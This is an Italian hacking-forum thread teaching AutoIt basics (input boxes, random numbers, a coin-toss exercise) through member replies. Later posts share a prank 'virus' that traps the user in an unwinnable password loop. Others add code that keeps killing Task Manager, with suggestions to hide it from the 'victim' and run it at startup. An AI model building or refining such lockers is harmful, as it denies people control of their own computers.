| | tutorial 2 | |
|
+4giga hertz darkphantom giozh°_° darkjoker 8 partecipanti | |
Autore | Messaggio |
---|
darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: tutorial 2 Lun Lug 30, 2007 6:48 pm | |
| Ciao, in questo tutorial vi spiegherò alcune funzioni di autoit3, che potete trovare nella sezione download. In un precedente tutorial vi ho illustrato come utilizzare il ciclo while, l'utilizzo delle condizioni con if e la dichiarazione e l'uso delle variabili. Ora vorrei insegnarvi a ricevere dati inseribili in una casella (comunemente chiamata input) Per creare questo tipo di finestre basta questo comando: - Codice:
-
Inputbox ("titolo", "testo") Qualunque valore inseriamo nella input il programma si chiuderà. Proviamo ora a creare una inputbox che richiede una password, se essa è corretta da una messagebox di congratulazioni, altrimenti una di errore (per fare ciò dobbiamo usare le condizioni): - Codice:
-
$pass = inputbox ("password", "Inserire password:", "", "*") if $pass = "password" then msgobx (4096, "bravo", "password corretta") else msgbox (4096, "errore", "password errata") endif Avrete notato che in questo caso la variabile viene assegnata a un comado e il suo valore (della variabile) sarà uguale al testo inserito nella input. Oltre a titolo e testo ho aggiunto anche questo pezzo: "", "*". "" E' ciò che troveremo prescritto dentro la input, in questo caso non ci sarà niente e non due doppie virgolette, infatti il testo va inserito all'interno delle virgolette. "*": il carattere racchiuso tra le virgolette è il simbolo, numero o lettera dietro la quale tutti i caratteri inseriti verranno nascosti, in questo caso saranno nascosti da asterischi. Dopodichè verrà controllato se il valore della input ($pass) è uguale al valore preimpostato (in questo caso password), se abbiamo inserito password correttamente vedremo una messaebox di congratulazioni, altrimenti una di errore. Traduciamo il testo dello script in italiano viene richiesta una password se la password inserita è uguale alla parola password allora crea una messagebox di login riuscito altrimenti crea una messagebox di errore fine della condizione if. Tutto chiaro? Molto bene. Ora vi spiegherò un altro comando: Il random Questo comando permette di generare un numero a caso: - Codice:
-
random (1, 100) Questo script genererà un numero compreso tra 1 e 100. Proviamo ora a mostrare il valore ottenuto: - Codice:
-
$ran = random (1, 100) msgbox (4096, "titolo", $ran) Tutta roba già vista vero? In pochissime parole genera un numero tra 1 e 100 e poi lo mostra nell'area del testo della messagebox. Ora vi chiedo, per esercitarvi su queste due nuove funzioni, di creare una inputbox che chiede di inserire testa (0) o croce (1), a questo punto enerate un numero a caso tra 1 e 2 e con le condizioni if verificate se si ha vinto o perso con due relative messagebox. Questo esercizio potrà essere difficile per chi si è appena avvicinato al mondo della programmazione, inviateci lo stesso i vostri risultati a xhacking@yahoo.it e se avete dubbi non dubitate a chiedere sul forum nella sezione autoit. Se avete trovato qualche comando di autoit che non avete capito non esitate a postare nella sessione sopra citata. Ora dovreste conoscere più o meno le funzioni di base di autoit, leggete ancora i tutorial per creare virus (per lo scopo educativo dal punto di vista della programmazione) e potrete comiciare a programmare da soli... il vostro migliore amico sarà l'help file dove troverete tutti i comandi spiegati passo a passo e con uno script di esempio per ciascuno di essi. Buona programmazione!!! darkjoker
Ultima modifica di il Gio Ago 23, 2007 7:12 pm - modificato 1 volta. | |
| | | giozh°_° Moderatore
Numero di messaggi : 156 Data d'iscrizione : 18.08.07
| Titolo: Re: tutorial 2 Lun Ago 20, 2007 2:30 pm | |
| variabili a= testa o croce utente cont=contatore vitt=numero vittorie sconf=numero sconfitte ran=numeri random questo testa e corce fa 3 partite e poi comunica il risultato (almeno spero) - Codice:
-
$a=inputbox ("testa o corce????","inserisci 1 (corce) oppure 0(zero)(testa") $cont=3 while $cont !=0 ;spero che esista il diverso su auutoit $ran=random(0,1) if $a=$ran $vitt=$vitt+1 msgbox(4096,"testa o croce????","hai vinto tu!") else $sconf=$sconf+1 msgbox(4096,"testa o croce????","ha vinto il computer...") $cont=$cont-1 wend if $vitt>$sconf msgbox(4096,"testa o croce????","hai vinto $vitt a $ sconf") else msgbox(4096,"testa o croce????","hai perso $sconf a $vitt...") | |
| | | darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Lun Ago 20, 2007 7:02 pm | |
| perfetto, solo che tu, abituato al c++ hai fatto cosi: - Citazione :
????","hai vinto $vitt a $ sconf")
invece con autoit bisogna fare: - Codice:
-
hai vinto"&$vitt&"a"&$sconf&")
il simbolo & serve per il concatenamento, come il + in python | |
| | | giozh°_° Moderatore
Numero di messaggi : 156 Data d'iscrizione : 18.08.07
| Titolo: Re: tutorial 2 Mar Ago 21, 2007 1:12 am | |
| babbene!! comunque il principio era quello! | |
| | | darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Mar Ago 21, 2007 6:48 pm | |
| certamente, solo che se qualcuno (che non conosce autoit) analizza il tuo script poi continuerà a sbagliare, comunque complimenti | |
| | | darkphantom hack-member
Numero di messaggi : 398 Data d'iscrizione : 03.09.07
| Titolo: Re: tutorial 2 Gio Set 06, 2007 2:46 pm | |
| ecco uno script per fare testa o croce alle terze col computer ( mi sono ispirato all'idea di giozh) ke ne dite? - Codice:
-
$c = 0 $v = 0 $p = 0 While $c < 3 $a = Random(0, 1, 1) $b = InputBox("Testa o croce?", "Scrivi testa oppure croce e premi OK") If $b = "testa" Then If $a = 0 Then MsgBox(4096, "", "Hai vinto!!!") $c = $c+1 $v = $v+1 Else MsgBox(4096, "", "Hai perso!!!") $c = $c+1 $p = $p+1 EndIf ElseIf $b = "croce" Then If $a = 1 Then MsgBox(4096, "", "Hai vinto!!!") $c = $c+1 $v = $v+1 Else MsgBox(4096, "", "Hai perso!!!") $c = $c+1 $p = $p+1 EndIf EndIf WEnd If $c = 3 Then If $v > $p Then MsgBox(4096, "", "Hai vinto tu!!!") Else MsgBox(4096, "", "Ha vinto il computer!!!") EndIf EndIf
| |
| | | darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Gio Set 06, 2007 6:30 pm | |
| perfetto, ma hai aggiunto una cosa inutile... - Codice:
-
If $c = 3 Then
tu hai aggiunto questo pezzo ma non serve perche se hai fatto - Codice:
-
while $c < 3
quindi in ogni caso uscirà dal ciclo ed eseguirà quello che c'è dopo. lo script funziona comunque, molto bravo !!! | |
| | | darkphantom hack-member
Numero di messaggi : 398 Data d'iscrizione : 03.09.07
| Titolo: Re: tutorial 2 Ven Set 07, 2007 5:07 pm | |
| hai ragione grazie del consiglio | |
| | | darkphantom hack-member
Numero di messaggi : 398 Data d'iscrizione : 03.09.07
| Titolo: Re: tutorial 2 Sab Set 08, 2007 8:29 pm | |
| ho creato un virus ke genera un numero da 1 a 999: cambia ogni volta e, se non la si azzecca, non si esce. ke ne dite? - Codice:
-
#NoTrayIcon $a = 0 While $a = 0 $b = Random(1, 999, 1) $c = InputBox(" ", "La password è un numero compreso tra 1 e 999:prova a indovinarla") If $b = $c Then MsgBox(4096, " ", "Bravissimo, è quella la password!!!") $a = $a + 1 Else MsgBox(4096, " ", "Hai sbagliato e, finchè non indovinerai, non potrai uscire!!!") MsgBox(4096, " ", "Ah, dimenticavo, la password cambia ogni volta!!!") EndIf WEnd
| |
| | | giga hertz apprendista
Numero di messaggi : 42 Data d'iscrizione : 01.09.07
| Titolo: virus Dom Set 09, 2007 9:31 pm | |
| basta premere ctrl+alt+canc eliminare il processo e addio virus | |
| | | certaindeath Admin
Numero di messaggi : 343 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Lun Set 10, 2007 6:35 pm | |
| Si hai ragione, si può bloccare in questo modo - Codice:
-
While 1 If ProcessExists("taskmgr.exe") Then ProcessClose("taskmgr.exe") EndIf WEnd
semlice, no? | |
| | | darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Mer Set 12, 2007 4:27 pm | |
| scusa, certai, ma ti devo contraddire... se tu metti prima questo - Codice:
-
While 1 If ProcessExists("taskmgr.exe") Then ProcessClose("taskmgr.exe") EndIf WEnd
e poi questo - Codice:
-
#NoTrayIcon $a = 0 While $a = 0 $b = Random(1, 999, 1) $c = InputBox(" ", "La password è un numero compreso tra 1 e 999:prova a indovinarla") If $b = $c Then MsgBox(4096, " ", "Bravissimo, è quella la password!!!") $a = $a + 1 Else MsgBox(4096, " ", "Hai sbagliato e, finchè non indovinerai, non potrai uscire!!!") MsgBox(4096, " ", "Ah, dimenticavo, la password cambia ogni volta!!!") EndIf WEnd
il prog continuerà a controllare il processo del task, mentre se includi il while all'interno dell'altro while, cosi: - Codice:
-
#NoTrayIcon $a = 0 While $a = 0 If ProcessExists("taskmgr.exe") Then ProcessClose("taskmgr.exe") EndIf $b = Random(1, 999, 1) $c = InputBox(" ", "La password è un numero compreso tra 1 e 999:prova a indovinarla") If $b = $c Then MsgBox(4096, " ", "Bravissimo, è quella la password!!!") $a = $a + 1 Else MsgBox(4096, " ", "Hai sbagliato e, finchè non indovinerai, non potrai uscire!!!") MsgBox(4096, " ", "Ah, dimenticavo, la password cambia ogni volta!!!") EndIf WEnd
il prog controllerà all'inizio se c'e il task aperto e poi eseguirà lo script, quindi durante la richiesta di password uno puo semplicemente premere il task. stessa cosa se il processclose lo metti alla fine o al centro, ci sarà sempre un momento in cui non è coperto dal blocco del task, si puo usare qualche exitloop, continueloop per interrompere o riprendere i cicli, ma rimarrebbe comunque qualche momento non coperto... adesso vedo se si puo fare qualcosa di piu... | |
| | | certaindeath Admin
Numero di messaggi : 343 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Mer Set 12, 2007 4:35 pm | |
| Certo, lo sapevo. Questo codice va messo in un programma a parte. è chiaro che un ciclo while infinito(while 1 = 1) blocca l'esecuzione di uno script (qualsiasi istruzione sia inserita dopo il ciclo while non verrà mai eseguita, a meno che non si inserisca l'istruzione Exit loop) | |
| | | darkphantom hack-member
Numero di messaggi : 398 Data d'iscrizione : 03.09.07
| Titolo: Re: tutorial 2 Mar Set 18, 2007 7:51 pm | |
| hei, darkjoker, in autoit esiste il segno diverso? ( per esempio != o qualcosa di simile) grazie tante | |
| | | giga hertz apprendista
Numero di messaggi : 42 Data d'iscrizione : 01.09.07
| Titolo: Re: tutorial 2 Mer Set 19, 2007 2:42 pm | |
| per non far aprire il task dovremmo fare un spece di anti virus che funziona in continuazione ma apposto di toglierli i virus li consente | |
| | | darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Mer Set 19, 2007 5:17 pm | |
| - Citazione :
- hei, darkjoker, in autoit esiste il segno diverso? ( per esempio != o qualcosa di simile)
grazie tante si, ci dovrebbe essere != per quanto rigurda l'antivirus zi dovrebbe fare qualcosa tipo: - Codice:
-
while 1 = 1 if processexist ('nomevirus.exe') then while 1 = 1 processclose ('taskmgr.exe') wend endif wend
in questo modo se il processo nomevirus.exe esiste ( l'ho aggiunto per non far insspettire la vittima (si puo anche non fare ma giusto per abbelire lo script ) comunque, chiude solo taskmanager e cosi tutti i virus vissero per sempre felici e contenti... ps: magari poi mettetelo all'avvio... | |
| | | darkphantom hack-member
Numero di messaggi : 398 Data d'iscrizione : 03.09.07
| Titolo: Re: tutorial 2 Mer Set 19, 2007 7:07 pm | |
| grazie, ma in realtà si usa <>, ma l'ha detto poco fa certaindeath. grazie comunque | |
| | | darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Mer Set 19, 2007 7:09 pm | |
| eh eh, hai ragione... e dire che non ci ho neanche pensato... lo uso sempre... | |
| | | AthanatiEste apprendista
Numero di messaggi : 15 Data d'iscrizione : 19.09.07
| Titolo: Re: tutorial 2 Dom Set 23, 2007 7:44 pm | |
| VOrrei chiedere una cosa,qndo uso lo sript che genera un numero tra 1 e 100, mi genere per esempio il numero 17 2928304084 (+ altre 7 o 8 cifre che sarebbero i decimali).Come posso evitarlo se posso evitarlo?? | |
| | | darkjoker Admin
Numero di messaggi : 813 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Lun Set 24, 2007 5:13 pm | |
| devi fare: - Codice:
-
random (1, 100, 1)
l'ultima cifra è la flag che inposta la modalita di generazione di numeri interi... | |
| | | AthanatiEste apprendista
Numero di messaggi : 15 Data d'iscrizione : 19.09.07
| Titolo: Re: tutorial 2 Lun Set 24, 2007 5:45 pm | |
| grazie,cmq trovo molto ma molto complicato questo esercizio di testa e croce. | |
| | | defender apprendista
Numero di messaggi : 8 Età : 31 Data d'iscrizione : 28.11.07
| Titolo: Re: tutorial 2 Dom Dic 02, 2007 5:01 pm | |
| io invece ho utilizzato questo metodo:
$answer = inputbox("testa o croce?", "inserisci testa o croce") if $answer = "testa" Then $ran = random (1, 3) msgbox (4096, "titolo", $ran) if $ran < 1.5 Then msgbox(4096, "vittoria", "hai vinto") Else msgbox(4096, "sconfitta", "hai perso") EndIf EndIf if $answer = "croce" Then $ran = random (1, 3) msgbox (4, "titolo", $ran) if $ran > 1.5 Then msgbox(4096, "vittoria", "hai vinto") Else msgbox(4096, "sconfitta", "hai perso") EndIf EndIf | |
| | | black hole membro
Numero di messaggi : 90 Data d'iscrizione : 03.10.07
| Titolo: Re: tutorial 2 Mar Dic 04, 2007 4:25 pm | |
| l'unica cosa che non ho capito del tuo codice è perchè hai messo la msgbox che dice che numero ha scelto il random... | |
| | | darkphantom hack-member
Numero di messaggi : 398 Data d'iscrizione : 03.09.07
| Titolo: Re: tutorial 2 Mer Dic 05, 2007 6:35 pm | |
| mah... i misteri della vita... | |
| | | certaindeath Admin
Numero di messaggi : 343 Data d'iscrizione : 30.07.07
| Titolo: Re: tutorial 2 Mer Dic 05, 2007 6:40 pm | |
| beh, alla fine quello che importa è se hai vinto o perso.... | |
| | | Contenuto sponsorizzato
| Titolo: Re: tutorial 2 | |
| |
| | | | tutorial 2 | |
|
Argomenti simili | |
|
| Permessi in questa sezione del forum: | Non puoi rispondere agli argomenti in questo forum.
| |
| |
| |